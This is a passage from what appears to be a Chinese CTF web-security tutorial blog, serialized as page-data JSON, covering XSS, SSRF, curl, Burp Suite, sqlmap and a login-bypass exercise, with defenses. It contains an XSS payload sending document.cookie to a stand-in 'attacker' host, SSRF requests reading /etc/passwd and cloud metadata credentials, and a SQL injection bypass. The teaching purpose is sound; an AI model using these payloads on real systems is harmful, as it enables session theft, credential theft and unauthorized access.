",[27,3524,3405],{}," 当作代码执行。",[27,3527,282],{}," 只是看响应，要看到效果需要用浏览器打开该 URL。",[77,3530,3532],{"id":3531},"_44-危害演示偷-cookie","4.4 危害演示：偷 Cookie",[16,3534,3535],{},"攻击者构造 URL：",[20,3537,3539],{"className":1715,"code":3538,"language":1717,"meta":25,"style":25},"http://127.0.0.1:8000/xss.php?name=\n\u003Cscript>\n  fetch('http://attacker/?c=' + document.cookie)\n\u003C/script>\n",[27,3540,3541,3546,3554,3575],{"__ignoreMap":25},[30,3542,3543],{"class":32,"line":33},[30,3544,3545],{"class":1724},"http://127.0.0.1:8000/xss.php?name=\n",[30,3547,3548,3550,3552],{"class":32,"line":39},[30,3549,1725],{"class":1724},[30,3551,3490],{"class":1728},[30,3553,1737],{"class":1724},[30,3555,3556,3559,3561,3564,3567,3569,3572],{"class":32,"line":112},[30,3557,3558],{"class":92},"  fetch",[30,3560,3500],{"class":1724},[30,3562,3563],{"class":285},"'",[30,3565,3566],{"class":96},"http://attacker/?c=",[30,3568,3563],{"class":285},[30,3570,3571],{"class":1728}," +",[30,3573,3574],{"class":1724}," document.cookie)\n",[30,3576,3577,3579,3581],{"class":32,"line":158},[30,3578,3510],{"class":1724},[30,3580,3490],{"class":1728},[30,3582,1737],{"class":1724},[16,3584,3585,3586,3589],{},"受害者打开后，浏览器会把受害者的 Cookie 发到 ",[27,3587,3588],{},"attacker"," 服务器。攻击者拿到 Cookie 即可冒充登录。",[77,3591,3593],{"id":3592},"_45-防御输出编码","4.5 防御：输出编码",[16,3595,3596],{},"输出前把危险字符转义：",[1326,3598,3599,3609],{},[1329,3600,3601],{},[1332,3602,3603,3606],{},[1335,3604,3605],{},"原始字符",[1335,3607,3608],{},"转义后",[1345,3610,3611,3622,3634,3645,3656],{},[1332,3612,3613,3617],{},[1350,3614,3615],{},[27,3616,1725],{},[1350,3618,3619],{},[27,3620,3621],{},"&lt;",[1332,3623,3624,3629],{},[1350,3625,3626],{},[27,3627,3628],{},">",[1350,3630,3631],{},[27,3632,3633],{},"&gt;",[1332,3635,3636,3640],{},[1350,3637,3638],{},[27,3639,956],{},[1350,3641,3642],{},[27,3643,3644],{},"&quot;",[1332,3646,3647,3651],{},[1350,3648,3649],{},[27,3650,3563],{},[1350,3652,3653],{},[27,3654,3655],{},"&#39;",[1332,3657,3658,3663],{},[1350,3659,3660],{},[27,3661,3662],{},"&",[1350,3664,3665],{},[27,3666,3667],{},"&amp;",[16,3669,3670,3671,3674],{},"PHP 用 ",[27,3672,3673],{},"htmlspecialchars()","，或使用默认转义的框架（Vue、React 默认转义插值）。",[11,3676,3678],{"id":3677},"五核心漏洞-3ssrf完整复现","五、核心漏洞 3：SSRF（完整复现）",[16,3680,3681,3683],{},[68,3682,252],{},"：理解\"服务器根据用户输入发起请求\"造成的危害，以及如何验证。",[16,3685,3686,179,3688,3691,3692,3695,3696,3699,3700,3703,3704,3707],{},[68,3687,262],{},[27,3689,3690],{},"file_get_contents($url)"," 会按 ",[27,3693,3694],{},"$url"," 的协议去读内容。协议决定能力：",[27,3697,3698],{},"file://"," 读本地文件，",[27,3701,3702],{},"http://"," 访问内网，",[27,3705,3706],{},"gopher://"," 与内网 TCP 服务交互。验证方式：依次换三种协议，看响应内容。",[77,3709,3711],{"id":3710},"_51-平台与代码","5.1 平台与代码",[16,3713,3714,3715,179],{},"具有\"URL 处理\"功能的应用。示例 ",[27,3716,3717],{},"ssrf.php",[20,3719,3721],{"className":22,"code":3720,"language":24,"meta":25,"style":25},"\u003C?php\necho file_get_contents($_GET['url']);\n// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n// 参数含义：$_GET['url'] 是用户可控的目标地址。\n// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n?>\n",[27,3722,3723,3727,3732,3737,3742,3747],{"__ignoreMap":25},[30,3724,3725],{"class":32,"line":33},[30,3726,189],{},[30,3728,3729],{"class":32,"line":39},[30,3730,3731],{},"echo file_get_contents($_GET['url']);\n",[30,3733,3734],{"class":32,"line":112},[30,3735,3736],{},"// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n",[30,3738,3739],{"class":32,"line":158},[30,3740,3741],{},"// 参数含义：$_GET['url'] 是用户可控的目标地址。\n",[30,3743,3744],{"class":32,"line":164},[30,3745,3746],{},"// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n",[30,3748,3749],{"class":32,"line":170},[30,3750,231],{},[77,3752,3754],{"id":3753},"_52-读本地文件","5.2 读本地文件",[20,3756,3758],{"className":83,"code":3757,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd\"\n# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n# 预期输出是 passwd 内容（root:x:0:0:...）。\n# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[27,3759,3760,3771,3776,3781],{"__ignoreMap":25},[30,3761,3762,3764,3766,3769],{"class":32,"line":33},[30,3763,282],{"class":92},[30,3765,286],{"class":285},[30,3767,3768],{"class":96},"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd",[30,3770,292],{"class":285},[30,3772,3773],{"class":32,"line":39},[30,3774,3775],{"class":2242},"# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n",[30,3777,3778],{"class":32,"line":112},[30,3779,3780],{"class":2242},"# 预期输出是 passwd 内容（root:x:0:0:...）。\n",[30,3782,3783],{"class":32,"line":158},[30,3784,3785],{"class":2242},"# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[16,3787,295],{},[20,3789,3792],{"className":3790,"code":3791,"language":301,"meta":25},[299],"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\n",[27,3793,3791],{"__ignoreMap":25},[77,3795,3797],{"id":3796},"_53-探测内网端口","5.3 探测内网端口",[20,3799,3801],{"className":83,"code":3800,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306\"\n# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n# 通过逐个尝试端口，可以绘制内网服务清单。\n",[27,3802,3803,3814,3819,3824],{"__ignoreMap":25},[30,3804,3805,3807,3809,3812],{"class":32,"line":33},[30,3806,282],{"class":92},[30,3808,286],{"class":285},[30,3810,3811],{"class":96},"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306",[30,3813,292],{"class":285},[30,3815,3816],{"class":32,"line":39},[30,3817,3818],{"class":2242},"# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n",[30,3820,3821],{"class":32,"line":112},[30,3822,3823],{"class":2242},"# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n",[30,3825,3826],{"class":32,"line":158},[30,3827,3828],{"class":2242},"# 通过逐个尝试端口，可以绘制内网服务清单。\n",[16,3830,3831],{},"输出为空或超时说明端口关闭；出现 MySQL 协议内容说明 3306 开放。",[77,3833,3835],{"id":3834},"_54-访问云元数据","5.4 访问云元数据",[20,3837,3839],{"className":83,"code":3838,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/\"\n# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[27,3840,3841,3852,3857,3862],{"__ignoreMap":25},[30,3842,3843,3845,3847,3850],{"class":32,"line":33},[30,3844,282],{"class":92},[30,3846,286],{"class":285},[30,3848,3849],{"class":96},"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/",[30,3851,292],{"class":285},[30,3853,3854],{"class":32,"line":39},[30,3855,3856],{"class":2242},"# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n",[30,3858,3859],{"class":32,"line":112},[30,3860,3861],{"class":2242},"# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n",[30,3863,3864],{"class":32,"line":158},[30,3865,3866],{"class":2242},"# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[16,3868,3869],{},"云服务器上该地址返回临时凭证相关信息。这是 SSRF 最著名的利用点。",[77,3871,3873],{"id":3872},"_55-防御","5.5 防御",[20,3875,3877],{"className":22,"code":3876,"language":24,"meta":25,"style":25},"$allowed = ['https', 'http'];\n$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\nif (!in_array($scheme, $allowed)) die(\"not allowed\");\n// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[27,3878,3879,3884,3889,3894],{"__ignoreMap":25},[30,3880,3881],{"class":32,"line":33},[30,3882,3883],{},"$allowed = ['https', 'http'];\n",[30,3885,3886],{"class":32,"line":39},[30,3887,3888],{},"$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\n",[30,3890,3891],{"class":32,"line":112},[30,3892,3893],{},"if (!in_array($scheme, $allowed)) die(\"not allowed\");\n",[30,3895,3896],{"class":32,"line":158},[30,3897,3898],{},"// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[11,3900,3902],{"id":3901},"六必学工具-1curl","六、必学工具 1：curl",[16,3904,3905],{},"三个核心功能，逐个演示。",[16,3907,3908],{},"功能 1：带参数 GET。",[20,3910,3911],{"className":83,"code":275,"language":85,"meta":25,"style":25},[27,3912,3913],{"__ignoreMap":25},[30,3914,3915,3917,3919,3921],{"class":32,"line":33},[30,3916,282],{"class":92},[30,3918,286],{"class":285},[30,3920,289],{"class":96},[30,3922,292],{"class":285},[16,3924,3448,3925,128],{},[27,3926,369],{},[16,3928,3929,3930,3932],{},"功能 2：查看完整请求与响应（",[27,3931,2602],{},"）。",[20,3934,3936],{"className":83,"code":3935,"language":85,"meta":25,"style":25},"curl -v \"http://127.0.0.1:8000/vuln.php?id=1\"\n# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n# \u003C 开头是响应行与响应头，最后是正文。\n# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 是否带上）。\n",[27,3937,3938,3950,3955,3960],{"__ignoreMap":25},[30,3939,3940,3942,3944,3946,3948],{"class":32,"line":33},[30,3941,282],{"class":92},[30,3943,2590],{"class":117},[30,3945,286],{"class":285},[30,3947,289],{"class":96},[30,3949,292],{"class":285},[30,3951,3952],{"class":32,"line":39},[30,3953,3954],{"class":2242},"# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n",[30,3956,3957],{"class":32,"line":112},[30,3958,3959],{"class":2242},"# \u003C 开头是响应行与响应头，最后是正文。\n",[30,3961,3962],{"class":32,"line":158},[30,3963,3964],{"class":2242},"# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 是否带上）。\n",[16,3966,3967,3968,3970,3971,3973],{},"输出中 ",[27,3969,3628],{}," 开头的是请求，",[27,3972,1725],{}," 开头的是响应，最下面是正文。",[16,3975,3976,3977,3932],{},"功能 3：POST 数据（",[27,3978,3979],{},"-d",[20,3981,3983],{"className":83,"code":3982,"language":85,"meta":25,"style":25},"curl -X POST \"http://127.0.0.1:8000/login.php\" -d \"username=admin&password=123\"\n",[27,3984,3985],{"__ignoreMap":25},[30,3986,3987,3989,3992,3995,3997,4000,4002,4004,4006,4009],{"class":32,"line":33},[30,3988,282],{"class":92},[30,3990,3991],{"class":117}," -X",[30,3993,3994],{"class":96}," POST",[30,3996,286],{"class":285},[30,3998,3999],{"class":96},"http://127.0.0.1:8000/login.php",[30,4001,956],{"class":285},[30,4003,2770],{"class":117},[30,4005,286],{"class":285},[30,4007,4008],{"class":96},"username=admin&password=123",[30,4010,292],{"class":285},[16,4012,4013],{},"用于登录、上传等需要 POST 的场景。",[11,4015,4017],{"id":4016},"七必学工具-2burp-suite","七、必学工具 2：Burp Suite",[16,4019,4020],{},"图形化抓包改包工具（社区版免费）。三个核心模块：",[1326,4022,4023,4036],{},[1329,4024,4025],{},[1332,4026,4027,4030,4033],{},[1335,4028,4029],{},"模块",[1335,4031,4032],{},"用途",[1335,4034,4035],{},"操作步骤",[1345,4037,4038,4053,4064],{},[1332,4039,4040,4043,4046],{},[1350,4041,4042],{},"Proxy",[1350,4044,4045],{},"拦截请求",[1350,4047,4048,4049,4052],{},"浏览器设置代理 ",[27,4050,4051],{},"127.0.0.1:8080","，安装 Burp 证书；访问目标时请求停在 Burp，可修改后 Forward",[1332,4054,4055,4058,4061],{},[1350,4056,4057],{},"Repeater",[1350,4059,4060],{},"手工重放",[1350,4062,4063],{},"拦截到的请求右键 → Send to Repeater；修改参数 → Send，右侧看响应，可反复对比",[1332,4065,4066,4069,4072],{},[1350,4067,4068],{},"Intruder",[1350,4070,4071],{},"自动化遍历",[1350,4073,4074],{},"请求中选中要爆破的参数，Add § 标记，加载字典，Start Attack，按响应长度排序找异常",[16,4076,4077],{},"用途对应：Repeater 调试 payload，Intruder 爆破密码或枚举 id，Proxy 观察真实请求。",[11,4079,4081],{"id":4080},"八必学工具-3sqlmap","八、必学工具 3：sqlmap",[16,4083,4084],{},"SQL 注入自动化工具。三个核心命令：",[16,4086,4087],{},"命令 1：检测。",[20,4089,4090],{"className":83,"code":939,"language":85,"meta":25,"style":25},[27,4091,4092],{"__ignoreMap":25},[30,4093,4094,4096,4098,4100,4102,4104],{"class":32,"line":33},[30,4095,946],{"class":92},[30,4097,949],{"class":117},[30,4099,286],{"class":285},[30,4101,289],{"class":96},[30,4103,956],{"class":285},[30,4105,959],{"class":117},[16,4107,962],{},[20,4109,4111],{"className":4110,"code":966,"language":301,"meta":25},[299],[27,4112,966],{"__ignoreMap":25},[16,4114,4115],{},"命令 2：列数据库。",[20,4117,4118],{"className":83,"code":975,"language":85,"meta":25,"style":25},[27,4119,4120],{"__ignoreMap":25},[30,4121,4122,4124,4126,4128,4130,4132],{"class":32,"line":33},[30,4123,946],{"class":92},[30,4125,949],{"class":117},[30,4127,286],{"class":285},[30,4129,289],{"class":96},[30,4131,956],{"class":285},[30,4133,992],{"class":117},[16,4135,4136,4137,128],{},"预期输出：数据库列表，包含 ",[27,4138,551],{},[16,4140,4141],{},"命令 3：导出数据。",[20,4143,4144],{"className":83,"code":1004,"language":85,"meta":25,"style":25},[27,4145,4146],{"__ignoreMap":25},[30,4147,4148,4150,4152,4154,4156,4158,4160,4162,4164,4166],{"class":32,"line":33},[30,4149,946],{"class":92},[30,4151,949],{"class":117},[30,4153,286],{"class":285},[30,4155,289],{"class":96},[30,4157,956],{"class":285},[30,4159,1021],{"class":117},[30,4161,1024],{"class":96},[30,4163,1027],{"class":117},[30,4165,1030],{"class":96},[30,4167,1033],{"class":117},[16,4169,295,4170,4172,4173,128],{},[27,4171,601],{}," 表内容，即 ",[27,4174,641],{},[11,4176,4178],{"id":4177},"九小-ctf-实战登录绕过","九、小 CTF 实战：登录绕过",[16,4180,4181,4182,4185],{},"题目：登录页 ",[27,4183,4184],{},"login.php","，源码：",[20,4187,4189],{"className":22,"code":4188,"language":24,"meta":25,"style":25},"$user = $_POST['user'];\n$pass = $_POST['pass'];\n$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . \"'\";\n",[27,4190,4191,4196,4201],{"__ignoreMap":25},[30,4192,4193],{"class":32,"line":33},[30,4194,4195],{},"$user = $_POST['user'];\n",[30,4197,4198],{"class":32,"line":39},[30,4199,4200],{},"$pass = $_POST['pass'];\n",[30,4202,4203],{"class":32,"line":112},[30,4204,4205],{},"$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . \"'\";\n",[77,4207,4209],{"id":4208},"第一步正常登录失败","第一步：正常登录失败",[16,4211,4212,4214],{},[68,4213,252],{},"：先建立\"正常请求\"的基线，确认接口参数名（user/pass）和失败时的输出特征。",[20,4216,4218],{"className":83,"code":4217,"language":85,"meta":25,"style":25},"curl -X POST \"http://target/login.php\" --data \"user=admin&pass=wrong\"\n",[27,4219,4220],{"__ignoreMap":25},[30,4221,4222,4224,4226,4228,4230,4233,4235,4238,4240,4243],{"class":32,"line":33},[30,4223,282],{"class":92},[30,4225,3991],{"class":117},[30,4227,3994],{"class":96},[30,4229,286],{"class":285},[30,4231,4232],{"class":96},"http://target/login.php",[30,4234,956],{"class":285},[30,4236,4237],{"class":117}," --data",[30,4239,286],{"class":285},[30,4241,4242],{"class":96},"user=admin&pass=wrong",[30,4244,292],{"class":285},[16,4246,3448,4247,128],{},[27,4248,4249],{},"Login failed",[77,4251,4253],{"id":4252},"第二步构造绕过","第二步：构造绕过",[16,4255,4256,4258,4259,4262],{},[68,4257,262],{},"：观察源码 ",[27,4260,4261],{},"WHERE username='...' AND password='...'","，猜测我们可以在用户名里\"提前闭合单引号并用注释吃掉后半句\"。这样密码校验被注释掉，只要用户存在即可登录。",[16,4264,4265,4267,4268,4270,4271,1880,4274,4277,4278,4280,4281,3932],{},[68,4266,3014],{},"：发送 payload 后看是否从 ",[27,4269,4249],{}," 变成成功页面；若失败，尝试 ",[27,4272,4273],{},"admin'#",[27,4275,4276],{},"admin'-- "," 等不同注释符（MySQL 支持 ",[27,4279,3346],{}," 与 ",[27,4282,4283],{},"#",[16,4285,2963],{},[20,4287,4289],{"className":83,"code":4288,"language":85,"meta":25,"style":25},"curl -X POST \"http://target/login.php\" --data \"user=admin'--+&pass=wrong\"\n",[27,4290,4291],{"__ignoreMap":25},[30,4292,4293,4295,4297,4299,4301,4303,4305,4307,4309,4312],{"class":32,"line":33},[30,4294,282],{"class":92},[30,4296,3991],{"class":117},[30,4298,3994],{"class":96},[30,4300,286],{"class":285},[30,4302,4232],{"class":96},[30,4304,956],{"class":285},[30,4306,4237],{"class":117},[30,4308,286],{"class":285},[30,4310,4311],{"class":96},"user=admin'--+&pass=wrong",[30,4313,292],{"class":285},[16,4315,4316],{},"实际执行的 SQL：",[20,4318,4320],{"className":55,"code":4319,"language":57,"meta":25,"style":25},"SELECT * FROM users WHERE username='admin'-- ' AND password='wrong'\n",[27,4321,4322],{"__ignoreMap":25},[30,4323,4324],{"class":32,"line":33},[30,4325,4319],{},[16,4327,4328,4330,4331,4334],{},[27,4329,3346],{}," 注释掉密码部分。预期输出：",[27,4332,4333],{},"Login success"," 和 flag。",[16,4336,4337,4340,4341,4344,4345,4348],{},[68,4338,4339],{},"为什么能成功","：数据库中确实存在 ",[27,4342,4343],{},"admin"," 用户，查询 ",[27,4346,4347],{},"WHERE username='admin'"," 就能命中一行；命中即视为登录成功。",[77,4350,4352],{"id":4351},"第三步sqlmap-验证","第三步：sqlmap 验证",[16,4354,4355,4357],{},[68,4356,252],{},"：用工具确认手工结论，同时自动探测其他注入点。",[20,4359,4361],{"className":83,"code":4360,"language":85,"meta":25,"style":25},"sqlmap -u \"http://target/login.php\" --data \"user=a&pass=b\" --batch\n# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n# --batch 表示全程自动选择默认选项，不需要人工确认。\n# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[27,4362,4363,4386,4391,4396],{"__ignoreMap":25},[30,4364,4365,4367,4369,4371,4373,4375,4377,4379,4382,4384],{"class":32,"line":33},[30,4366,946],{"class":92},[30,4368,949],{"class":117},[30,4370,286],{"class":285},[30,4372,4232],{"class":96},[30,4374,956],{"class":285},[30,4376,4237],{"class":117},[30,4378,286],{"class":285},[30,4380,4381],{"class":96},"user=a&pass=b",[30,4383,956],{"class":285},[30,4385,959],{"class":117},[30,4387,4388],{"class":32,"line":39},[30,4389,4390],{"class":2242},"# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n",[30,4392,4393],{"class":32,"line":112},[30,4394,4395],{"class":2242},"# --batch 表示全程自动选择默认选项，不需要人工确认。\n",[30,4397,4398],{"class":32,"line":158},[30,4399,4400],{"class":2242},"# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[16,4402,4403,4404,4407],{},"预期输出：报告 ",[27,4405,4406],{},"Parameter: user (POST)"," 存在注入。",[11,4409,4411],{"id":4410},"十小结","十、小结",[16,4413,4414],{},"Web 入门只需要掌握：参数不可信；SQLi/XSS/SSRF 的复现与检测；curl、Burp、sqlmap 三个工具的核心用法。",[1464,4416,4417],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":25,"searchDepth":39,"depth":39,"links":4419},[4420,4421,4422,4423,4424,4425,4426,4427,4428,4429],{"id":2574,"depth":112,"text":2575},{"id":2684,"depth":112,"text":2685},{"id":2784,"depth":112,"text":2785},{"id":3383,"depth":112,"text":3384},{"id":3677,"depth":112,"text":3678},{"id":3901,"depth":112,"text":3902},{"id":4016,"depth":112,"text":4017},{"id":4080,"depth":112,"text":4081},{"id":4177,"depth":112,"text":4178},{"id":4410,"depth":112,"text":4411},"完整复现 SQL 注入、XSS、SSRF 三个漏洞：环境搭建、请求与响应、演示 curl、Burp Suite、sqlmap 的核心用法。",{"date":1481,"image":4432,"alt":4433,"tags":4434,"published":741},"/blogs-img/blog9.png","CTF Web 入门",[551,1485,1487],"/blogs/ctf-web-overview",{"title":2569,"description":4430},"blogs/9. ctf-web-overview","Zw9ZNNI8nq4-16xeG1TaILfNuOv5EuKnOPkpkm05cIk",1786796568615]